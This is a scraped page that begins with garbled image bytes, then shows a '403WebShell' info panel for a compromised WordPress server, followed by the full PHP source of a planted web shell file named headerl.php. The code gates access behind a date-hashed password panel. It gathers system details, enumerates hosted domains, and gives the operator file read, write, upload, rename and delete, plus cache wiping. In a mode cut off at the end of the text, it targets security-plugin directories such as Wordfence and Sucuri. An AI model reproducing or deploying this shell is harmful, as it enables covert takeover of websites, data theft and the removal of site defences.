....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 192.168.1.105  /  Your IP : 216.73.216.51
Web Server : nginx/1.14.0
System : Linux dev1 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/abookadesk.dk/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/abookadesk.dk/wp-admin/headerl.php
<?php
@ini_set('display_errors',0);
$P='admin';$A=false;
if(isset($_GET['t'])){$E=hash('sha256',$P.'::'.date('Y-m-d'));$A=($_GET['t']===$E);}
if(!$A&&isset($_POST['t'])){$E=hash('sha256',$P.'::'.date('Y-m-d'));$A=($_POST['t']===$E);}
if(!$A&&isset($_SERVER['HTTP_X_T'])){$E=hash('sha256',$P.'::'.date('Y-m-d'));$A=($_SERVER['HTTP_X_T']===$E);}
if(!$A&&isset($_POST['t'])){$Ey=hash('sha256',$P.'::'.date('Y-m-d',strtotime('-1 day')));$A=($_POST['t']===$Ey);}
if(!$A&&isset($_GET['t'])){$Ey=hash('sha256',$P.'::'.date('Y-m-d',strtotime('-1 day')));$A=($_GET['t']===$Ey);}
if(!$A&&isset($_SERVER['HTTP_X_T'])){$Ey=hash('sha256',$P.'::'.date('Y-m-d',strtotime('-1 day')));$A=($_SERVER['HTTP_X_T']===$Ey);}
if(isset($_POST['key'])&&$_POST['key']===$P){header('Location: ?t='.hash('sha256',$P.'::'.date('Y-m-d')));exit;}
if((isset($_GET['x'])||isset($_POST['x']))&&!$A){header('Content-Type: application/json');echo json_encode(array('o'=>false,'e'=>'a'));exit;}
if(!$A){
  echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>@thiscitze</title><style>
  @keyframes blk{0%,100%{opacity:1}50%{opacity:.3}}
  @keyframes psv{0%{opacity:0;transform:translateY(20px) scale(.95)}100%{opacity:1;transform:translateY(0) scale(1)}}
  body{margin:0;height:100vh;display:flex;align-items:center;justify-content:center;background:#0c0d12;color:#c9d1d9;font-family:system-ui,sans-serif}
  .bx{background:#161b22;border:1px solid #30363d;border-radius:14px;padding:44px;width:360px;box-shadow:0 8px 48px rgba(0,0,0,.5);animation:psv .4s ease}
  .lg{text-align:center;font-size:32px;font-weight:700;margin:0 0 6px;background:linear-gradient(135deg,#f80,#fa0);-webkit-background-clip:text;-webkit-text-fill-color:transparent;animation:blk 1.8s ease-in-out infinite}
  .sub{text-align:center;font-size:13px;color:#8b949e;margin:0 0 32px;letter-spacing:.5px;text-transform:uppercase}
  .rw{display:flex;gap:10px}
  .rw input{flex:1;background:#0d1117;border:1px solid #30363d;color:#c9d1d9;padding:14px 16px;font-size:15px;border-radius:8px;outline:0;transition:border .2s}
  .rw input:focus{border-color:#f80}
  .rw input::placeholder{color:#484f58}
  .rw button{background:linear-gradient(135deg,#f80,#fa0);color:#000;border:0;padding:14px 22px;font-size:15px;font-weight:700;border-radius:8px;cursor:pointer;transition:transform .15s,box-shadow .15s}
  .rw button:hover{transform:scale(1.04);box-shadow:0 0 24px rgba(255,136,0,.35)}
  .ft{text-align:center;margin-top:24px;font-size:11px;color:#30363d}
  .ft a{color:#484f58;text-decoration:none}
  .ft a:hover{color:#8b949e}
  </style></head><body><div class="bx"><div class="lg">@thiscitze</div><div class="sub">access panel</div><form method="post"><div class="rw"><input type="password" name="key" placeholder="password" autofocus><button>ok</button></div></form><div class="ft"><a href="https://t.me/thiscitze" target="_blank">@thiscitze</a></div></div></body></html>';
  exit;
}
set_time_limit(0);
$T=hash('sha256',$P.'::'.date('Y-m-d'));

function _g($k,$d=''){return isset($_POST[$k])?$_POST[$k]:(isset($_GET[$k])?$_GET[$k]:$d);}
function _ok($d){if(!is_array($d))$d=array();$j=json_encode(array_merge(array('o'=>true),$d));while(ob_get_level())@ob_end_clean();header('Content-Type: application/json');echo$j;exit;}
function _fail($e){$j=json_encode(array('o'=>false,'e'=>$e));while(ob_get_level())@ob_end_clean();header('Content-Type: application/json');echo$j;exit;}
function _path($p){$p=str_replace('\\','/',$p);do{$p=preg_replace('/\/\.\.(\/|$)/','/',$p,1);}while(strpos($p,'..')!==false);return$p;}
function _protect($p){$bad=array('/etc','/sys','/proc','/bin','/sbin','/boot','/dev','/lib','/mnt','/opt','/root','/run','/usr');foreach($bad as$b){if(strpos($p,$b)===0)_fail('restricted');}}

if(isset($_GET['x'])||isset($_POST['x'])){
  $act=isset($_GET['x'])?$_GET['x']:$_POST['x'];

  if($act==='_test'){
    while(ob_get_level())@ob_end_clean();
    header('Content-Type: text/plain',true);
    echo "GET:\n";print_r($_GET);
    echo "POST:\n";print_r($_POST);
    echo "RAW_INPUT:[";echo @file_get_contents('php://input');echo "]\n";
    echo "SERVER_METHOD:".$_SERVER['REQUEST_METHOD']."\n";
    exit;
  }
  if($act==='i'){
    $n=array();
    $n['v']=phpversion();
    $n['s']=isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'-';
    $n['h']=isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:'-';
    $n['a']=isset($_SERVER['SERVER_ADDR'])?$_SERVER['SERVER_ADDR']:'-';
    $n['r']=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'-';
    $n['f']=__FILE__;
    $n['u']=php_uname();
    $tmp=function_exists('posix_getpwuid')?posix_getpwuid(posix_geteuid()):false;
    $n['uid']=($tmp!==false&&isset($tmp['name']))?$tmp['name']:get_current_user();
    $n['df']=ini_get('disable_functions');if(!$n['df'])$n['df']='(none)';
    $n['af']=ini_get('allow_url_fopen')?'On':'Off';
    $cv=function_exists('curl_version')?curl_version():false;
    $n['cr']=($cv!==false&&isset($cv['version']))?$cv['version']:'n/a';
    $n['ds']=disk_free_space('.');
    $n['dt']=disk_total_space('.');
    _ok(array('n'=>$n));
  }
  
  if($act==='d'){
    @set_time_limit(5);
    $dl=array();$seen=array();$scanPaths=array();
    // fast paths: cwd, script dir, docroot, their parents
    foreach(array(@getcwd(),dirname(__FILE__),isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:null) as$sp){
      if($sp&&is_dir($sp)){array_push($scanPaths,$sp);$p=dirname($sp);if($p!==$sp&&is_dir($p))array_push($scanPaths,$p);}
    }
    // panel roots (fixed, no wildcard)
    foreach(array('/var/www/vhosts','/var/www/html','/var/www','/www/wwwroot') as$pp){if(is_dir($pp))array_push($scanPaths,$pp);}
    // /home/*/domains — expand max 30 users
    if(is_dir('/home')){
      $hd=@opendir('/home');$uc=0;
      if($hd){while(($hu=readdir($hd))!==false&&$uc<30){if($hu[0]!=='.'&&is_dir('/home/'.$hu)){$uc++;foreach(array('domains','public_html','web') as$sd){$dd='/home/'.$hu.'/'.$sd;if(is_dir($dd))array_push($scanPaths,$dd);}}}closedir($hd);}
    }
    $scanPaths=array_unique($scanPaths);
    foreach($scanPaths as$p){
      if(!is_dir($p))continue;
      $dh=@opendir($p);
      if(!$dh)continue;
      while(($e=readdir($dh))!==false){
        if($e[0]==='.'||strpos($e,'.')===false)continue;
        $fp=$p.'/'.$e;
        if(!is_dir($fp)||isset($seen[$e]))continue;
        $seen[$e]=1;
        $dl[]=array('d'=>$e,'w'=>is_dir($fp)?$fp:'-','x'=>is_dir($fp)?is_writable($fp):null);
      }
      closedir($dh);
    }
    // add current server domain if not already listed
    $curHost=isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:null);
    if($curHost&&!isset($seen[$curHost])){
      $curRoot=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(@getcwd()?@getcwd():dirname(__FILE__));
      if($curRoot&&is_dir($curRoot)){$seen[$curHost]=1;$dl[]=array('d'=>$curHost,'w'=>$curRoot,'x'=>is_writable($curRoot));}
    }
    _ok(array('dl'=>$dl));
  }
  
  if($act==='l'){
    $dir=_path(_g('d','.'));
    if(!is_dir($dir))_fail('not found');
    $fl=array();
    try{
      $it=new FilesystemIterator($dir,FilesystemIterator::SKIP_DOTS);
      foreach($it as$f){
        try{
          $fn=$f->getFilename();$fp=$f->getPathname();
          if(!@file_exists($fp)&&!@is_link($fp))continue;
          $sz=0;$isDir=$f->isDir();$mt=0;$pr=false;
          $tmp=@$f->getSize();if($tmp!==false&&$tmp>=0)$sz=$tmp;
          $tmp=@$f->getMTime();if($tmp>0)$mt=$tmp;
          $pr=@fileperms($fp);
          $fl[]=array('n'=>$fn,'p'=>$fp,'z'=>$sz,'d'=>$isDir,'w'=>@is_writable($fp),'r'=>@is_readable($fp),'pr'=>$pr!==false?substr(sprintf('%o',$pr),-4):'????','m'=>$mt?date('Y-m-d H:i',$mt):'-');
        }catch(Exception$ee){continue;}
      }
    }catch(Exception$e){_fail($e->getMessage());}
    _ok(array('fl'=>$fl,'cd'=>realpath($dir)));
  }
  
  if($act==='rm'){
    $path=_path(_g('p',''));_protect($path);
    if(!$path||!file_exists($path))_fail('not found');
    if(is_file($path)){if(!@unlink($path))_fail('unlink failed ('.(function_exists('posix_get_last_error')?posix_get_last_error():'perm').')');}
    else{
      try{$di=new RecursiveDirectoryIterator($path,RecursiveDirectoryIterator::SKIP_DOTS);$ii=new RecursiveIteratorIterator($di,RecursiveIteratorIterator::CHILD_FIRST);foreach($ii as$f){$f->isFile()?@unlink($f->getPathname()):@rmdir($f->getPathname());}@rmdir($path);}catch(Exception$e){_fail($e->getMessage());}
    }
    _ok();
  }
  
  if($act==='mv'){
    $old=_path(_g('o',''));$new=_g('n','');_protect($old);
    if(!$old||!$new||!file_exists($old))_fail('not found');
    if(!@rename($old,dirname($old).'/'.$new))_fail('rename failed');
    _ok();
  }
  
  if($act==='up'){
    $dir=_path(_g('d','.'));
    if(!isset($_FILES['f']))_fail('no file');
    $target=rtrim($dir,'/').'/'.basename($_FILES['f']['name']);
    if(!@move_uploaded_file($_FILES['f']['tmp_name'],$target))_fail('upload failed ('.$_FILES['f']['error'].')');
    _ok();
  }
  
  if($act==='ed'){
    $path=_path(_g('p',''));_protect($path);
    if(!file_exists($path))_fail('not found');
    $c=@file_get_contents($path);
    if($c===false)_fail('read failed');
    _ok(array('c'=>$c,'p'=>realpath($path)));
  }
  
  if($act==='sv'){
    $path=_g('p','');$cnt=_g('c','');
    if(!$path){
      $raw=@file_get_contents('php://input');$data=@json_decode($raw,true);
      if($data&&isset($data['p'])){$path=_path($data['p']);$cnt=isset($data['c'])?$data['c']:'';}
    }
    $path=_path($path);_protect($path);
    if(!$path)_fail('no path');
    if(@file_put_contents($path,$cnt)===false)_fail('write failed');
    _ok();
  }
  
  if($act==='md'){
    $path=_path(_g('p',''));_protect($path);
    if(!$path)_fail('no path');
    if(!@mkdir($path,0755,true))_fail('mkdir failed');
    _ok();
  }
  
  if($act==='cl'){
    $mode=_g('m','');
    $dr=isset($_SERVER['DOCUMENT_ROOT'])?realpath($_SERVER['DOCUMENT_ROOT']):'.';if(!$dr)$dr='.';
    $bd=array($dr,dirname($dr),dirname(dirname(__DIR__)),'/var/www','/home','/usr/local/www');
    $bd=array_filter($bd,'is_dir');
    $bd=array_unique($bd);
    $res=array();$tf=0;
    
    if($mode==='c'){
      $c1='cache';$c2='tmp';$c3='temp';$c4='runtime';$c5='sessions';$c6='views';
      $pp=array(
        'wp-content/'.$c1,'wp-content/uploads/'.$c1,'wp-content/et-'.$c1,'wp-content/updraft','wp-content/backup',
        'administrator/'.$c1,$c1,$c2,$c3,
        'sites/default/files/'.$c1,'sites/default/files/css','sites/default/files/js','sites/default/files/php',
        'var/'.$c1,'var/page_'.$c1,'var/view_preprocessed','var/'.$c2,'var/session','generation',
        'storage/framework/'.$c1,'storage/framework/'.$c6,'storage/framework/'.$c5,'bootstrap/'.$c1,
        'system/storage/'.$c1,'system/storage/logs',
        $c4,'smarty/'.$c1,'smarty/templates_c','twig/'.$c1,'compiled',
        'pub/static','pub/media/css','pub/media/js',
        'application/'.$c1,'assets/'.$c1,'data/'.$c1,
        'writable/'.$c1,'writable/'.$c5,'writable/'.$c2,
        'storage/'.$c1,'storage/'.$c2,'storage/logs',
        'app/storage/'.$c1,'app/storage/'.$c6,'app/storage/'.$c5,
        'local/'.$c1,'local/'.$c2,
        'minify/'.$c1,'assets/css','assets/js',
        'ss_'.$c1,'cb_'.$c1,
        'media/'.$c2,'media/css','media/js'
      );
      $cds=array();
      foreach($bd as$b){
        foreach($pp as$pat){
          $fu=rtrim($b,'/').'/'.$pat;
          if(is_dir($fu)){
            $sz=0;$cn=0;
            try{$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fu,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as$ff){if($ff->isFile()){$sz+=$ff->getSize();$cn++;}}}catch(Exception$e){}
            $cds[]=array('p'=>$fu,'z'=>$sz,'c'=>$cn);
          }
        }
      }
      $seen=array();$uniq=array();
      foreach($cds as$d){if(!isset($seen[$d['p']])){$seen[$d['p']]=1;$uniq[]=$d;}}
      foreach($uniq as$d){
        $p=$d['p'];if(!is_dir($p))continue;
        try{
          $rit=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);
          foreach($rit as$ff){$ff->isFile()?unlink($ff->getPathname()):rmdir($ff->getPathname());}
          rmdir($p);$tf+=$d['z'];
          $res[]=array('t'=>'cache','g'=>$p,'s'=>'ok','f'=>$d['z'],'x'=>$d['c']);
        }catch(Exception$e){$res[]=array('t'=>'cache','g'=>$p,'s'=>'err: '.$e->getMessage(),'f'=>0,'x'=>0);}
      }
      if(function_exists('opcache_reset')){opcache_reset();$res[]=array('t'=>'opcache','g'=>'php_opcache','s'=>'ok','f'=>0,'x'=>0);}
      clearstatcache();
      _ok(array('r'=>$res,'tf'=>$tf,'tt'=>count($res)));
    }
    
    if($mode==='f'){
      $fw=array(
        'wp-content/plugins/wordfence','wp-content/wordfence-logs',
        'wp-content/plugins/better-wp-security','wp-content/plugins/ithemes-security-pro',
        'wp-content/plugins/all-in-one-wp-security-and-firewall','wp-content/plugins/sucuri-scanner','wp-content/uploads/sucuri',
        'wp-content/plugins/bulletproof-security','wp-content/plugins/secupress','wp-content/plugins/ninjafirewall',
        'wp-content/ninjafirewall-log','wp-content/plugins/hide-my-wp','wp-content/plugins/wp-cerber','wp-content/cerber-lab',
        'wp-content/plugins/security-ninja','wp-content/plugins/wp-security-audit-log','wp-content/plugins/defender-security',
